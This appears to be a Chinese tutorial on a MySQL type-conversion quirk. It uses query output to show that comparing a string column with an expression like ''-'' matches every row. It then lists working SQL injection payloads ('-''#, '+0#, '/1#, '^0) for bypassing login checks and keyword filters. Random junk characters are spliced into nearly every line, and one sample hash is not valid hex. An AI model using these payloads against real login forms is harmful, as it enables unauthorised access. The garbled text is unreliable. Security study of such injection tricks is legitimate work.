我们先来看这样一个场景。
# z0 s& o" R& t# R有以下表结构:
2 p- m. D+ K# p
7 @; W% z! @, m2 C2 k0 i* {8 a, pmysql> desc admin;
- k! z6 E0 H& f. o+----------+--------------+------+-----+---------+----------------+1 @/ N9 l8 k. T0 R! x
| Field | Type | Null | Key | Default | Extra |
, F6 B) [$ k; s8 P; C4 ~! |5 ~ j; i+----------+--------------+------+-----+---------+----------------+7 s# l1 d6 K6 |. o
| id | mediumint(9) | NO | PRI | NULL | auto_increment |' C1 _8 g5 ]; D, i6 B
| name | char(32) | NO | UNI | NULL | |( f6 f0 O+ W7 L- h# f* {9 L
| password | char(32) | NO | UNI | NULL | |
4 p( O7 Y( i. ~1 E: T# h& a$ O+----------+--------------+------+-----+---------+----------------+9 p2 j. ^8 G, [, g4 |
3 rows in set (0.00 sec)/ j* I& O5 \/ O9 ]: P2 F; G
执行select * from admin;,成功返回所有记录内容。
+ r7 |/ y* ?5 q S; j( b& m$ |, A* ] p* x, r# `
. p3 l g) }& ]5 K9 v' p
+----+--------+----------------------------------+
$ T$ U8 n2 ]& h* y+ d8 ~| id | name | password |8 l9 a" F& D L6 d6 ~: w! j; ^* X( C
+----+--------+----------------------------------+, I6 Y5 l3 G9 H- ~' P
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
& x: ?' W5 `0 C: f& n" _| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
1 c X9 T) ~! y0 ?3 U; x3 g| 4 | n00b | ff80e8508d39047460921792273533a4 | Y' @, r8 D q0 D2 Y7 I# V
+----+--------+----------------------------------+! [- y5 \3 j; y; F4 z1 S2 Q
3 rows in set (0.00 sec)
& R. n" p( a- K* w* E执行select * from admin where name=”;,没有匹配到任何记录。 ' @$ F+ B8 b# q M
4 K$ W+ y1 h; vmysql> select * from admin where name = '';8 G& c7 G# L, o: l
Empty set (0.00 sec)
& e) y& ^: `1 H, C, n" [那么我们来执行select * from admin where name = ”-”;! l2 ^$ G9 x' {5 R) d
- ~% @3 {) b- N4 E, _
% ]/ Z! d7 [4 g
+----+--------+----------------------------------++ k2 f2 K/ M% W5 u) \
| id | name | password |
: ]3 c. E! U( [' c5 {+ g6 d9 n+----+--------+----------------------------------+
( d# @ e2 d/ @# o6 J* `| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |) Y& ]. L" n+ P* E$ A7 f. p
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |/ A& q- J3 G3 T
| 4 | n00b | ff80e8508d39047460921792273533a4 |
& V. J' n3 F6 @" B7 \1 A+----+--------+----------------------------------++ u0 \+ N8 \: }5 a
3 rows in set, 3 warnings (0.00 sec)
1 g$ h' F) V8 u5 Z' u/ v! }可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
a% R/ A- Y( T5 U# L. m$ r. ]. B, h+ l! _- J
mysql> show warnings;( h Z/ L7 E5 u! b/ v5 k; I4 X' \- C
+---------+------+------------------------------------------
8 ~) L/ `5 ~9 u' j6 F| Level | Code | Message5 [- d5 r, i0 b8 S$ k+ n
+---------+------+------------------------------------------
; e3 I2 Q( s, q/ ^7 I. Q, h2 a9 x| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin6 e( m' e1 m4 F8 Y7 ^0 }! I
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s) k8 Z+ i* ^) {3 V! q
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b, x: \. b' [- ~9 v8 z. c/ M
+---------+------+------------------------------------------ L+ o. B1 S' T7 ?$ j3 _. A
3 rows in set (0.00 sec)
: W3 l# t; v- |; j; d% k( p提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 ) D8 c/ u# z6 R. S1 g* D
, j8 z7 G# j0 D: G0 E c* p8 m9 t" Q
mysql> select ''-'';. ~, d, Q" I! n( }
+-------+
( d( U! p. y% B' b| ''-'' |2 a: ]& O5 B% d
+-------+
& ]! n! R+ D2 ^8 g& `- E| 0 |& |2 I# @8 M4 t% ~+ s7 |; _7 q3 W) g
+-------+
& V* Q6 @# I! T& J: i1 row in set (0.00 sec)
5 ^5 w; s5 F2 g9 `# @! O5 l, p8 O7 `) Q返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
- ~( W# _. y5 R/ Z) a
" P; d+ ~: r; p1 L( G: X% A4 K$ ]mysql> select CAST((select name from admin limit 1,1) as DECIMAL);# r+ O% B$ E0 T3 o' {2 |4 k6 s
+-----------------------------------------------------+; M; I4 ?7 m# M! b
| CAST((select name from admin limit 1,1) as DECIMAL) |( E+ w. |. K# C# [6 A: d0 ^8 m
+-----------------------------------------------------+
) B3 j$ r6 r5 ], e$ G| 0 |
$ \: u( _! n2 K8 v" }+ p+-----------------------------------------------------+
8 t. d/ ?' G/ t5 |7 c( `1 row in set, 1 warning (0.00 sec)
2 @5 c% `: v5 i* K5 |因此where语句构成了相等的条件,where 0=”=”,记录被返回。 & B$ l$ Z+ L+ h, t3 M
' l T- Y) l! c4 Q! D* P
SQL注入场景: http://www.sqlzoo.net/hack/ y! w; I K! \8 l5 R
& X$ a# Y% r5 h( r
9 H0 `- x; X7 d9 Q! J$ |. b- F
9 Q5 l0 T" V4 r( x6 a# |# X0 l H; E. \( J i9 Y
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 ) I) o% @8 E9 J2 |1 Z4 v: R
+ @2 U0 a' x. M% T! [6 J7 V那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
N; z. z: i( {* e8 A: h( A, m# q6 I0 t
! Q% Q' m( g6 J1 |) H, }- [5 b5 [% C9 }9 I* ?$ M7 T; S* v/ A
# j! ^0 v& x8 ~8 H3 k5 t. Z7 I, l, V
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
8 P- t$ r4 X) T! c% w5 k3 ^) [" N3 D) Z w4 \6 y9 F. N: v
: e6 k% q4 t6 L' o9 ]
0 j' W# ]) [) C, X! Y" W p3 s0 ~
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可* \9 T6 N& p# d$ @4 R7 t; g6 ?6 C
) u% P, ?& Q! P8 D8 ]1 A9 X, H+ s# E2 \0 a
mysql> select ''/1;
) h% s5 T3 I. M, l. ]5 E' |; P. |+------+
% r. c1 H/ G1 t u1 Y- d| ''/1 |
; \2 q4 Z% X7 q) R! p; C2 a# u+------+3 b0 S( L' p8 c7 }' c, J: z9 m
| 0 |
7 i! X, `1 H3 ~6 b3 O2 v- p+------+
* V2 q/ G4 |; f1 row in set (0.00 sec)! Z; k) `( v0 o" k' u* T
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 ) e+ R% w( j" J. T& m7 S, O
8 \; c L4 }* N' i' U3 B( M/ ]利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
' N$ c6 u+ e- T Y' p$ H |
|